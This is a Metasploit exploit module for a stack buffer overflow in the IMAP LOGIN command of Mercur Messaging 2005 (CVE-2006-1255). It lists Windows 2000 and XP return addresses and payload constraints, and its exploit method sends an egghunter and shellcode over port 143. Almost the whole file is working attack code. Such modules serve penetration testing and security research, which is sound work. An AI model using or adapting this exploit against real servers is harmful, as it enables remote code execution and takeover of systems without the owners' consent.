Mercur Messaging 2005 IMAP Login Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
        Since the room for shellcode is small, using the reverse ordinal payloads
        yields the best results.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-1255' ],
          [ 'OSVDB', '23950' ],
          [ 'BID', '17138' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 228,
          'BadChars' => "\x00\x20\x2c\x3a\x40",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
          [ 'Windows XP Pro SP2 English',   { 'Ret' => 0x77dc15c0 } ],
        ],
      'DisclosureDate' => '2006-03-17',
      'DefaultTarget'  => 0))

    register_options( [ Opt::RPORT(143) ])
  end

  def exploit
    connect
    sock.get_once

    hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
    egg     = hunter[1]

    sploit	=  "A001 LOGIN " + egg + hunter[0]
    sploit	<< [target.ret].pack('V') + [0xe9, -175].pack('CV')

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\r\n")

    handler
    disconnect
  end
end